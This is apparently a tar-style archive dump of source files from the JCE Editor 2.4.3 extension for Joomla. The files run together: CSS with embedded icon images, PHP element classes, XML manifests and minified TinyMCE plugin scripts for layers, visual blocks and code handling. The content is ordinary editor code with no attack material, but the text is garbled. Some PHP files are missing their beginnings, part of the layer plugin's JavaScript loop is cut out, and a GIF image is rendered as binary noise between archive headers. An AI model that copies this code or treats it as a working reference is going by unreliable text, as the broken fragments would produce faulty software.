input.name{width:110px;margin:0 5px 0 0;}#popup_extension_jcemediabox #jcemediabox_popup_params input.value{width:220px;}#jcemediabox_popup_params span.add,#jcemediabox_popup_params span.remove{cursor:pointer;display:inline-block;height:20px;margin-left:1px;vertical-align:middle;width:20px;}#jcemediabox_popup_params span.add{background:url("../../../../libraries/img/icons.png") no-repeat 0 -300px;}#jcemediabox_popup_params span.remove{background:url("../../../../libraries/img/icons.png") no-repeat 0 -180px;display:none;}#jcemediabox_popup_params{list-style:none;padding:5px;margin:5px 0 0;}#jcemediabox_popup_params li{margin:5px 0;}com_jce/editor/extensions/popups/window.php000066600000002461150771500630015211 0ustar00addScript('window', 'extensions/popups/window/js'); $document->addStyleSheet('window', 'extensions/popups/window/css'); } } public function getParams() { return array(); } public function isEnabled() { $plugin = WFEditorPlugin::getInstance(); if ($plugin->getParam('popups.window.enable', 1) && ($plugin->getName() == 'link' || $plugin->getName() == 'imgmanager_ext')) { return true; } return false; } } ?>com_jce/editor/extensions/popups/jcemediabox.xml000066600000010534150771500630016165 0ustar00 WF_POPUPS_JCEMEDIABOX_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_POPUPS_JCEMEDIABOX_DESC jcemediabox.php jcemediabox link,imgmanager_ext,mediamanager,filemanager com_jce/editor/elements/index.html000066600000000054150771500630013251 0ustar00com_jce/editor/elements/filesystem.php000066600000004402150771500630014152 0ustar00attributes()->exclude_default === false) { $options[] = JHTML::_('select.option', '', WFText::_('WF_OPTION_NOT_SET')); } if (is_array($files)) { foreach ($files as $file) { // load language file $language->load('com_jce_filesystem_' . basename($file, '.xml'), JPATH_SITE); $xml = WFXMLHelper::parseInstallManifest($file); $options[] = JHTML::_('select.option', basename($file, '.xml'), WFText::_($xml['name'])); } } // if a group is specified, setup to be an object if ((string) $node->attributes()->group) { $name = $control_name . '[filesystem][' . $name . ']'; } else { $name = $control_name . '[filesystem]'; } return JHTML::_('select.genericlist', $options, $name, implode(' ', $attribs), 'value', 'text', $value, $id); } } ?> com_jce/editor/elements/mediaplayer.php000066600000003622150771500630014265 0ustar00load('com_jce_' . $name . '_' . basename($file, '.xml'), JPATH_SITE); $xml = WFXMLHelper::parseInstallManifest($file); $options[] = JHTML::_('select.option', basename($file, '.xml'), WFText::_($xml['name'])); } } return JHTML::_('select.genericlist', $options, '' . $control_name . '[mediaplayer][' . $name . ']', implode(' ', $attribs), 'value', 'text', $value, $id); } } ?>com_jce/editor/elements/popups.php000066600000003511150771500630013314 0ustar00load('com_jce_popups_' . trim($extension), JPATH_SITE); $options[] = JHTML::_('select.option', $extension, WFText::_('WF_POPUPS_' . strtoupper($extension) . '_TITLE')); } return JHTML::_('select.genericlist', $options, '' . $control_name . '[' . $name . ']', 'class="inputbox plugins-default-select"', 'value', 'text', $value); } } } ?> com_jce/editor/elements/linksearch.php000066600000004504150771500630014114 0ustar00'; $html = '
      '; foreach ($plugins as $item) { $plugin = WFExtensionHelper::getPlugin(null, $item->name, 'search'); $extension = 'plg_' . $plugin->folder . '_' . $plugin->element; $language->load($extension) || $language->load($extension, JPATH_ADMINISTRATOR); $language->load($extension . '.sys') || $language->load($extension . '.sys', JPATH_ADMINISTRATOR); $checked = (in_array($plugin->element, $value)) ? ' checked="checked"' : ''; $html .= '
    • '; } $html .= '
    '; return $html; } } ?> com_jce/editor/index.html000066600000000054150771500630011435 0ustar00com_jce/editor/tiny_mce/plugins/layer/layer.xml000066600000001301150771500630015676 0ustar00 WF_LAYER_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_LAYER_DESC insertlayer,moveforward,movebackward,absolute com_jce/editor/tiny_mce/plugins/layer/index.html000066600000000054150771500630016041 0ustar00com_jce/editor/tiny_mce/plugins/layer/editor_plugin.js000066600000011015150771500630017245 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(){function findParentLayer(node){do{if(node.className&&node.className.indexOf('mceItemLayer')!=-1){return node;}}while(node=node.parentNode);};tinymce.create('tinymce.plugins.Layer',{init:function(ed,url){var t=this;t.editor=ed;ed.addCommand('mceInsertLayer',t._insertLayer,t);ed.addCommand('mceMoveForward',function(){t._move(1);});ed.addCommand('mceMoveBackward',function(){t._move(-1);});ed.addCommand('mceMakeAbsolute',function(){t._toggleAbsolute();});ed.addButton('moveforward',{title:'layer.forward_desc',cmd:'mceMoveForward'});ed.addButton('movebackward',{title:'layer.backward_desc',cmd:'mceMoveBackward'});ed.addButton('absolute',{title:'layer.absolute_desc',cmd:'mceMakeAbsolute'});ed.addButton('insertlayer',{title:'layer.insertlayer_desc',cmd:'mceInsertLayer'});ed.onInit.add(function(){var dom=ed.dom;if(tinymce.isIE) ed.getDoc().execCommand('2D-Position',false,true);});ed.onMouseUp.add(function(ed,e){var layer=findParentLayer(e.target);if(layer){ed.dom.setAttrib(layer,'data-mce-style','');}});ed.onMouseDown.add(function(ed,e){var node=e.target,doc=ed.getDoc(),parent;if(tinymce.isGecko){if(findParentLayer(node)){if(doc.designMode!=='on'){doc.designMode='on';node=doc.body;parent=node.parentNode;parent.removeChild(node);parent.appendChild(node);}}else if(doc.designMode=='on'){doc.designMode='off';}}});ed.onNodeChange.add(t._nodeChange,t);ed.onVisualAid.add(t._visualAid,t);},getInfo:function(){return{longname:'Layer',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/layer',version:tinymce.majorVersion+"."+tinymce.minorVersion};},_nodeChange:function(ed,cm,n){var le,p;le=this._getParentLayer(n);p=ed.dom.getParent(n,'DIV,P,IMG');if(!p){cm.setDisabled('absolute',1);cm.setDisabled('moveforward',1);cm.setDisabled('movebackward',1);}else{cm.setDisabled('absolute',0);cm.setDisabled('moveforward',!le);cm.setDisabled('movebackward',!le);cm.setActive('absolute',le&&le.style.position.toLowerCase()=="absolute");}},_visualAid:function(ed,e,s){var dom=ed.dom;tinymce.each(dom.select('div,p',e),function(e){if(/^(absolute|relative|fixed)$/i.test(e.style.position)){if(s) dom.addClass(e,'mceItemVisualAid');else dom.removeClass(e,'mceItemVisualAid');dom.addClass(e,'mceItemLayer');}});},_move:function(d){var ed=this.editor,i,z=[],le=this._getParentLayer(ed.selection.getNode()),ci=-1,fi=-1,nl;nl=[];tinymce.walk(ed.getBody(),function(n){if(n.nodeType==1&&/^(absolute|relative|static)$/i.test(n.style.position)) nl.push(n);},'childNodes');for(i=0;i-1){nl[ci].style.zIndex=z[fi];nl[fi].style.zIndex=z[ci];}else{if(z[ci]>0) nl[ci].style.zIndex=z[ci]-1;}}else{for(i=0;iz[ci]){fi=i;break;}} if(fi>-1){nl[ci].style.zIndex=z[fi];nl[fi].style.zIndex=z[ci];}else nl[ci].style.zIndex=z[ci]+1;} ed.execCommand('mceRepaint');},_getParentLayer:function(n){return this.editor.dom.getParent(n,function(n){return n.nodeType==1&&/^(absolute|relative|static)$/i.test(n.style.position);});},_insertLayer:function(){var ed=this.editor,dom=ed.dom,p=dom.getPos(dom.getParent(ed.selection.getNode(),'*')),body=ed.getBody();var le=ed.dom.add(body,'div',{style:{position:'absolute',left:p.x,top:(p.y>20?p.y:20),width:100,height:100},'class':'mceItemVisualAid mceItemLayer'},ed.selection.getContent()||ed.getLang('layer.content'));ed.dom.setAttrib(le,'data-mce-style','');if(tinymce.isIE) dom.setHTML(body,body.innerHTML);},_toggleAbsolute:function(){var ed=this.editor,le=this._getParentLayer(ed.selection.getNode());if(!le) le=ed.dom.getParent(ed.selection.getNode(),'DIV,P,IMG');if(le){if(le.style.position.toLowerCase()=="absolute"){ed.dom.setStyles(le,{position:'',left:'',top:'',width:'',height:''});ed.dom.removeClass(le,'mceItemVisualAid');ed.dom.removeClass(le,'mceItemLayer');}else{if(le.style.left=="") le.style.left=20+'px';if(le.style.top=="") le.style.top=20+'px';if(le.style.width=="") le.style.width=le.width?(le.width+'px'):'100px';if(le.style.height=="") le.style.height=le.height?(le.height+'px'):'100px';le.style.position="absolute";ed.addVisual(ed.getBody());} ed.dom.setAttrib(le,'data-mce-style','');ed.execCommand('mceRepaint');ed.nodeChanged();}}});tinymce.PluginManager.add('layer',tinymce.plugins.Layer);})();com_jce/editor/tiny_mce/plugins/visualblocks/classes/index.html000066600000000054150771500630021063 0ustar00com_jce/editor/tiny_mce/plugins/visualblocks/classes/config.php000066600000001260150771500630021044 0ustar00getParam('visualblocks.state', 0, 0, 'boolean'); } } ?>com_jce/editor/tiny_mce/plugins/visualblocks/index.html000066600000000054150771500630017426 0ustar00com_jce/editor/tiny_mce/plugins/visualblocks/visualblocks.xml000066600000001667150771500630020667 0ustar00 WF_VISUALBLOCKS_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_VISUALBLOCKS_DESC visualblocks com_jce/editor/tiny_mce/plugins/visualblocks/css/index.html000066600000000054150771500630020216 0ustar00com_jce/editor/tiny_mce/plugins/visualblocks/css/visualblocks.css000066600000031205150771500630021436 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ p,h1,h2,h3,h4,h5,h6,hgroup,aside,div,section,article,blockquote,address,pre,figure,ul,ol,dl,dt,dd{display:block;padding-top:5px;padding-bottom:5px;border:1px dashed #BBB;background:transparent no-repeat 2px 2px;}p,h1,h2,h3,h4,h5,h6,hgroup,aside,div,section,article,address,pre,figure,ul,ol,dl,dt,dd{margin-left:2px;margin-right:2px;}section,article,address,hgroup,aside,figure{margin:0 0 1em 2px;}figcaption{border:1px dashed #BBB;}dd,dt{margin-bottom:2px;}ul,ol{margin:0 0 1em 3px;padding:5px 40px;}p{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAICAYAAAA1BOUGAAAAcklEQVQIW2NkwAMYp02bpsTMzBwBVfP9////OzMyMq6B+IwzZszwYGRk3A5kLwFKcAFpPyDfOz09fReypABQ4CNQ8SGg5CUgOwcuCdTVAhTkBurMBLJjgUavQZZcA5R4D5TYw8TEtB6o8zeGsciOxysJAFsxQAl0kP1+AAAAAElFTkSuQmCC);}h1{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAn0lEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//f7OMjIzJIHOmT5/uAJR/lpaWdotxxowZQYyMjGuBilmBiv8AFRcDFRf+/fvXEqgoACjXCtRTmp6ePhOuGCgpxM7O/gcIcoGKs5iYmAKBdCRQYQqGYmSnAxU9BTpDBiQGtOkBkGpHMRlooiQLC8sfkKlAyTS8itHdTLFiADnnggmtlhjwAAAAAElFTkSuQmCC);}h2{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAxklEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//f7OMjIzJ06dP1wHKqQP5e9LT0z8yzpgxI4iRkXEtUDErUPEfoOJioGQhUCwWSG8HWnwEiM2BfCu44r9//wqxs7P/AYJcoKIsoIIJQCwEtKEKaOBeIPs0XDGy04GKnwIVyYDEgE4xBJp6HMiMgisGmijJwsLyB2pqGkgx0EQvoMJVQIXdQDc34nNzMMhjQMXFTExM24D0N5yKgaaBFKQiOW8ZANzXfMFoX2hjAAAAAElFTkSuQmCC);}h3{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAA0klEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//f7OMjIzJs2fPNv73758SUH5vSkrKO8YZM2YEMTIyrgUqZgUq/gNUXAxUXMjExJQFpBcCLT4AxB5ATSpwxX///hViZ2f/AwS5QEUgheVAQ0BgJZD9HCQGV4zsdKDEU6AzZIC28APFTwCx2O/fv9XgioEmSrKwsPwBmQCUTAMpXrVqFfO7d++cQM4EipfhdDNQwR6ggv9AOg1InQQasA6fB8OAirYCFbEC6XOsrKwRAOOmljhcqZgbAAAAAElFTkSuQmCC);}h4{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAyklEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//f7OMjIzJIHOmT5+uA5RXT0tLW8s4Y8aMIEZGxrVAxaxAxX+AiouBiguBimUWLVrE/f3796tAPTLp6ekscMV///4VYmdn/wMEuUDFWSDFQI2dQIXiQByDohjZ6UDFT4F8N6CN84C4HMjfi6IYaKIkCwvLH5CpQIVpQHwKqPAFkP8ByC4Ha8blZqDCKUAFakDF4kC2J8gfeD0Ictrs2bNt//37tx/kDACOBoVLK6NafgAAAABJRU5ErkJggg==);}h5{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAzUlEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//fzNGRsa5QGwPM+v3799XGGfMmBEEFFwLVMwKVPwHqLgYqLgQKBYMVLgTyD4D1dAHV/z3718hdnb2P0CQC1SQxcTEVAKkQ/79+9cgLCx8PSws7C9cMbLTgYqeAvlTgaY3AtmvgDQjULMNXDHQREkWFpY/IFOBCtOA8lZAU/levnx5TVJS8jRQbBNONwMlO4GYB6ipB0ifBeJZ+BR7AxVuBCoSANp2FGhzHABkp4I5tATACgAAAABJRU5ErkJggg==);}h6{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAA1ElEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ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ofCWwd9jh9n4FJuf4P4JrSFz+0tPWdn0so3xHJuYKkTSVch28BosgLu/N8ZWwvjC/OAbGaCTnH7QYuYMUvC2FEQviv8UVyv8RXAEu+FPjf0Ch3qldNRGyWEAAAAASUVORK5CYII=);}aside{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAICAYAAAAIloRgAAABy0lEQVQoU72STyjDYRjHvftz2bKTHBzEDmo7MP+ymhy2yBHJOPhTVtvawUk5EVJuHGT/yoEDsVJOU0SxXdAuXBwUDlNCK5my3+bzrk1LOPrV0/O83+f7PN/ned+fKPvHTxS1wuGwPZvNWtVqdcDlcj1LPBAItAghegk/yEW8Xu8lvGbiDrfbvRQKhepyuVx/occH/hz8CE4tnKHSPehz/CUWDAYTJC0U+zwezyoFJkVREpCWwKrI9WUymRqtVjvIeRZOBTU94LvYGlYNboc/TxzH9rEtOagUJbeTF2MDM6SrQrKa6Wxg42BzTGij8S3nUbaOU9T5XQx+vg/ik7g58gPU7jFcuc/ney1uWCQtAMgmE5BiCBj1ev1jOp0+Azdh1+S2dTrdItjYb2IM5KD+gPoRlUq1XnqNYE2CQsFENyTuIUZlI/xMMplcNJvNIpVKWSB2k5dTT2PKH2JD1PrhOxGLYg2c36SowWC4k0LtxCc0iJBQCpuo8cvYFO/WxfU9EF/A2YTz9F2MpkYEKuGEyN3CWZFvBtaGz4vxvQhW95O0cu+NEin8lYcUtcpNyDnwKs4x4kFi5w8/iCx9x055p2GNRlMvxUqvkXjjEw+cEnw4b1DwAAAAAElFTkSuQmCC);}div{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAICAYAAAAm06XyAAABFklEQVQYV2NkoAAwzpo1S+3///8hUDN+A+kz6enp+2fPnm38798/OyC7f8aMGeFMTEyMaWlpK0DqgHwPIF+KcebMmQFA/nogngfEckCDnBgZGZuB7NdAdmNGRoYIUE0ZkF324sULsYaGhn9AzeeAavbBNQNtYASZClRYCqSagLgSqKEGpHn69O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D3ZiEnzw/Ohj5MzYSSReXtB3HUA9bgfI1+Ar165bNi3+PWrRC4hH4Dkb9vDDnHHz62FjmJyd5R+wKyp/AyXdS7W/wBhFyhxnNq1vwDH/+1i8DXALoAAAAASUVORK5CYII=);}article{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACUAAAAICAYAAAB+rDbrAAACP0lEQVQ4T82TXUhTYRjHOxstEDacdJEniKZdVBCVUAp5EYoSdOOFjoK8icFmhxYMXTeBUxRhLIJdnLMPxsRAqgVCEFYQBBFRF3oRdZegXWwE5Y2zXPvw94xzRMR53eDP8/U+/+f/Pu+Zcug//CmWpnQ63VOtVrvsdnvC5/P91nW9Df+GVa/VavlKpZIjd0tRlJbddyFeod7q9/sfSR5fSaVSfbi9+F8KhcK8qqqn8Afz+Xw0EomU5RwzPcy8uYfr3Y6oZDK5TPECjVogENATicQ1hi0Sz2Fr1PrBd/ARHAND4Cv4Bn5xbpi+o/F4/IjD4fhEj0pukdp18Ib4GXahWCw2hUKhPyKEmcL5GjwB/8wL5eqiEHCWJhkgxRPc+IolyiIhvk/tAYOdJmGBoTHiGOQa/oSIYkO38TNs9CQbXzUM4zLcIyLQZrM93U9UuVx2apq2YW2sLgrSaUwfjfcg+MBK27CnZVPkc+bhq9gYgqMHiYIrCs8QAj3WEPP8wAGb2jnK7A5F3h+iFbI/EPFKbowdxy6ZzzdG7TAYAS8ZJlYu0mhTw/Qabre7xev1ljKZjJNv8RwtreSf77cpNnieWZvC63K51kRQN/57aaBQwT8D7MSjImrX8z0k348oGdBQVDabbS6VSj/pn+QJZ7n5DH47XLLhBfxL4K9wkPOAF5zpJKyL4reu8K0YFLp4louSMf+Fb3HvAN0ShfgwZGEGHg8Gg1uNNmUKDmOnZMP0fAZ32YYqoszBlhnFie3JPd4GG2OKfBdh16UAAAAASUVORK5CYII=);}blockquote{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAD0AAAAICAYAAABK1ff3AAADbklEQVQ4T+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EbdaES0fIid8Cz4ZIYm8tSTG5+A3E+uVJ0V/livfyulWYZ+G1+GTd3qUtz8k/4pafTXRgRoY3/gHPONzi5jLLfIAAAAASUVORK5CYII=);}address{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAAAICAYAAACPp21mAAACcUlEQVQ4T9WUvWtTYRTGvUlMIMFsdnAokqFgFtMiGKiCtBjqZrVDMkgtTfNBBjFidSgWK4KD0qXc5gNE7KA1RR1stdDSQm0RVOqgGYoKVTBOlqAxDc2HvxPuLSFe/wAvHM77Pud5n/O8595E2fOfPIruM51Od1WrVa/ZbE4Eg8EfqVSqrVar9Wn1HfKbcDi89C9cVVUXZ/26HmdzlUolY7Va96MbaJyHoijLoVBoLZFIHGHdS20Hzkw0Gn0vPCN812gymVyH46FBLBKJqOxPs39C3CVawbsQvcH6nRFO/RX15+T75BocH/GJkDPzxEMxJEbgZLjURy6yDnec/QHgM+Vy+aDNZmsxwutGuYGbAx80sVYm16kbZV3nsL9MGoPXj/B0Mw7mp/a0UCjY4/F4Ec0r8EfAzopRTOyLxWK/9MlSH6Q2xiQ7Gcwm+37Mr7E/boTrJm4icJJmFyCtQnaZTCaPTE43hFA3tQWwsPhuxpnCeRrdo5bRzJwg39begEx090G/w+FwbBSLxdeAh4gNej+y2+23hGSEKxAUpvWZ+leMvGB/nTzKPttkNAA+SZMBLvG4wWgdx2gAo3Ocl8nvJaLELDX5fOY5c5j1bzHidDq/ZLPZstvtVvL5vAfNHmA5dy2Xy00Y4WLyGIQVGswgVNFuaCaPiFEauBBqYZ2CswlHvtm/cDBVvtGGV38HzAd2SYyicZRcN8qzhe4p8lUu6OOC31m/Rf8B/G+GOK90kqKXCbWLgvbrX2R5kRjXhLfJL/nOzlksFq8YbcZp5mk0ygCGaTyMQfn2nml8PU2VSqUh/hEynOkGNMFdZe0H/2mE/wFqA5Yqj886DAAAAABJRU5ErkJggg==);}pre{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA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vk2ACPcdKLpCjrOc905F/dUXsqpCwrCOOvQfbGyFB9y+4/5PgfH+QhETRYYQEC4gucArOwQc+4xq+OL4pdDvFL0E/+lMrCf5RFHuU4uMQ3avt4k7YvAUOG1V8RLNKcAAAAABJRU5ErkJggg==);}ul{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAsklEQVQYV2NkIAEwzpo1S+3///8hP3/+7M3Ly/sJ5Fv9+/fPmImJaSdI/Pnz510NDQ1/QGYyzpw5MwBIrwdigfT09I9AfjVQUSYjI2MOSPzr169cRUVF32msGOhGT6C121hZWcWSkpJez5gxoxFoZQzQGcUYzpg6daosCwvLI6BE2d+/f9cyMzMvA7JfAvF8kGKgQaZA/APsZhABNK0XaFI+kMkMlHgBxP7A0JCCehweuAB9JXnE109ktAAAAABJRU5ErkJggg==);}ol{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAICAYAAADN5B7xAAAA60lEQVQYV2NkIBEwgtTPnDmT9f///x5ApgeQPvj9+/fNRUVF32fNmqUG5Ic8f/68q6Gh4Q9ILeOkSZPYgeA0kC0IxGuA2AeoCCSm9+vXLwcgf/3Xr1+5QAaANUyfPj2aiYlpCRArpaam3gcawMfGxvYWKFfJyMh4B0MD0DlNQBNjMzIyFGHeAYqdALIvA/FWbBrygIKdQCycnp7+DaiZEajhBdD0eUCxkxgaZsyYoQUUvAhU0Ad0Vt+/f//igPwuIN8BqBnkr/VA2hSIf4D9ACJA/gAqKAZiQyD3BhBPBdo2BWhTAEgDzKkgGgBA5HfEOsMmgwAAAABJRU5ErkJggg==);}dl{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAq0lEQVQYV2NkIAEwzpo1S+3///8hUD2/gfSZ9PT0/TDx58+fdzU0NPwByTPOnDkzAEivB+J5QCwH1OjEyMjYDGRfAIl//fqVq6io6DuKYqBpjCABoOZSINUE1BAP1LgSr+IZM2Y4AxXuAWpIB+klpDgSqHj6v3//EpmYmNZhVQyUUAIqEAOaNgto/UOgBpAf1gPZpkD8A92DID5I8MifP39iWVhYLKAehwcuALw3asQ7+4bgAAAAAElFTkSuQmCC);}dt{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAr0lEQVQYV2NkIAEwzpo1S+3///8hUD2/gfSZ9PT0/TNmzMhgZGQUQjaLcebMmQFAgfVAPA+I5YAanYCKmoFsLiCWAOJQIL4KxNfgioGmMYJMAWouBVJNQCwMFPsG5L8AGtCTkZHRg6EYaL0z0OQ9//79U8zMzHxASHEkUPH058+fCzU0NPzDqpiJiUkJaJoY0PpZQGsfAq31gzoL0xlQX/8A0kf+/PkTm52d/QJdMQCVA3O7m48PnQAAAABJRU5ErkJggg==);}dd{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAICAYAAADN5B7xAAAAoklEQVQYV2NkIBEwzpo1S+3///8hUH2/gfSZ9PT0/bjEGWfOnBkAVLQeiOcBsRxQsxMjI2MzkH0BmzhcA9BURpAtQANKgVQTUFM8UPNKDHGYDTCJGTNmOAMV7wFqSgfpRxfHsAGoIRKoYfq/f/8SmZiY1iFpAIvDNQAllYCKxICmzgI65SFQEuSn9RjiSJ4GeeEHEB/58+dPLAsLiwXU0yjiAPNIaezUXWwjAAAAAElFTkSuQmCC);}com_jce/editor/tiny_mce/plugins/visualblocks/editor_plugin.js000066600000003257150771500630020643 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(){var cookie=tinymce.util.Cookie;tinymce.create('tinymce.plugins.VisualBlocks',{init:function(ed,url){var cssId;if(!window.NodeList){return;} var state=cookie.get('wf_visualblocks_state');if(state&&tinymce.is(state,'string')){if(state=='null'){state=0;} state=parseFloat(state);} state=ed.getParam('visualblocks_default_state',state);ed.addCommand('mceVisualBlocks',function(){var dom=ed.dom,linkElm;if(!cssId){cssId=dom.uniqueId();linkElm=dom.create('link',{id:cssId,rel:'stylesheet',href:url+'/css/visualblocks.css'});ed.getDoc().getElementsByTagName('head')[0].appendChild(linkElm);}else{linkElm=dom.get(cssId);linkElm.disabled=!linkElm.disabled;} ed.controlManager.setActive('visualblocks',!linkElm.disabled);if(linkElm.disabled){cookie.set('wf_visualblocks_state',0);}else{cookie.set('wf_visualblocks_state',1);}});ed.onSetContent.add(function(){var dom=ed.dom,linkElm;if(cssId){linkElm=dom.get(cssId);ed.controlManager.setActive('visualblocks',!linkElm.disabled);}});ed.addButton('visualblocks',{title:'visualblocks.desc',cmd:'mceVisualBlocks'});ed.onInit.add(function(){if(state){ed.execCommand('mceVisualBlocks',false,null,{skip_focus:true});}});},getInfo:function(){return{longname:'Visual blocks',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/visualblocks',version:tinymce.majorVersion+"."+tinymce.minorVersion};}});tinymce.PluginManager.add('visualblocks',tinymce.plugins.VisualBlocks);})();com_jce/editor/tiny_mce/plugins/code/classes/index.html000066600000000054150771500630017274 0ustar00com_jce/editor/tiny_mce/plugins/code/classes/config.php000066600000002712150771500630017260 0ustar00getParam('editor.allow_php', 0, 0, 'boolean'); $settings['code_script'] = $wf->getParam('editor.allow_javascript', 0, 0, 'boolean'); $settings['code_style'] = $wf->getParam('editor.allow_css', 0, 0, 'boolean'); $settings['code_cdata'] = $wf->getParam('editor.cdata', 1, 1, 'boolean'); // Invalid Elements if ($settings['code_script']) { $model->removeKeys($settings['invalid_elements'], 'script'); } if ($settings['code_style']) { $model->removeKeys($settings['invalid_elements'], 'style'); } } } ?>com_jce/editor/tiny_mce/plugins/code/index.html000066600000000054150771500630015637 0ustar00com_jce/editor/tiny_mce/plugins/code/css/index.html000066600000000054150771500630016427 0ustar00com_jce/editor/tiny_mce/plugins/code/css/content.css000066600000001631150771500630016620 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ .mceItemPhp,.mcePhp,.mceItemScript,.mceItemStyle{display:inline-block;width:20px;height:20px;background-image:url(../../../../libraries/img/ext.png);background-repeat:no-repeat;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;cursor:pointer;font-size:0;line-height:0;letter-spacing:normal;word-spacing:normal;text-indent:-9999px;margin:0;padding:0;border:0 none;}.mceItemPhp,.mcePhp{background-position:0 -100px;}.mceItemScript{background-position:0 -220px;}.mceItemStyle{background-position:0 -420px;}.mceItemScript.mceItemSelected,.mceItemStyle.mceItemSelected,.mceItemPhp.mceItemSelected,.mcePhp.mceItemSelected{background-color:#b4d4ff;border:0 none;}com_jce/editor/tiny_mce/plugins/code/img/index.html000066600000000054150771500630016413 0ustar00com_jce/editor/tiny_mce/plugins/code/img/icons.gif000066600000033226150771500630016227 0ustar00GIF89a<׸׺ַնԵӲӳұҰүЭϪΩͧͩˤʢʣɡǟǞǝƝŜŝěśÚĚר—ս}Ͱypꫫlqmhjbc_袢]\ZVQR^䐑OLKJGC[ׂ;qrUW! XMP DataXMP Adobe Fireworks CS3 2007-01-04T22:10:31Z 2009-01-18T12:12:02Z image/gif ~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<:9876543210/.-,+*)('&%$#"!  !},<}00 90  9^{{||{`0^|"P|3"P^‚3y|}3߱q| "^PqyyqپyȨ d %}PJ zpDQ3jQТ4mdBP 5Syr8u I*\<#cĈ'XxF D B,x`ILȐB QD$2,S:pIV t&8a[L*%JHB%K.wFS6l޼ێ>>т&tt3~ٜÒ4%T0W.I'rI L +Y lg}{Am#"zg*q#lGp THx`+pa!p"C -Rt4;com_jce/editor/tiny_mce/plugins/code/editor_plugin.js000066600000017165150771500630017057 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each,JSON=tinymce.util.JSON,Node=tinymce.html.Node,Entities=tinymce.html.Entities;var VK=tinymce.VK,BACKSPACE=VK.BACKSPACE,DELETE=VK.DELETE;tinymce.create('tinymce.plugins.CodePlugin',{init:function(ed,url){var self=this;this.editor=ed;this.url=url;function isCode(n){return ed.dom.is(n,'.mceItemScript, .mceItemStyle, .mceItemPhp, .mcePhp');} 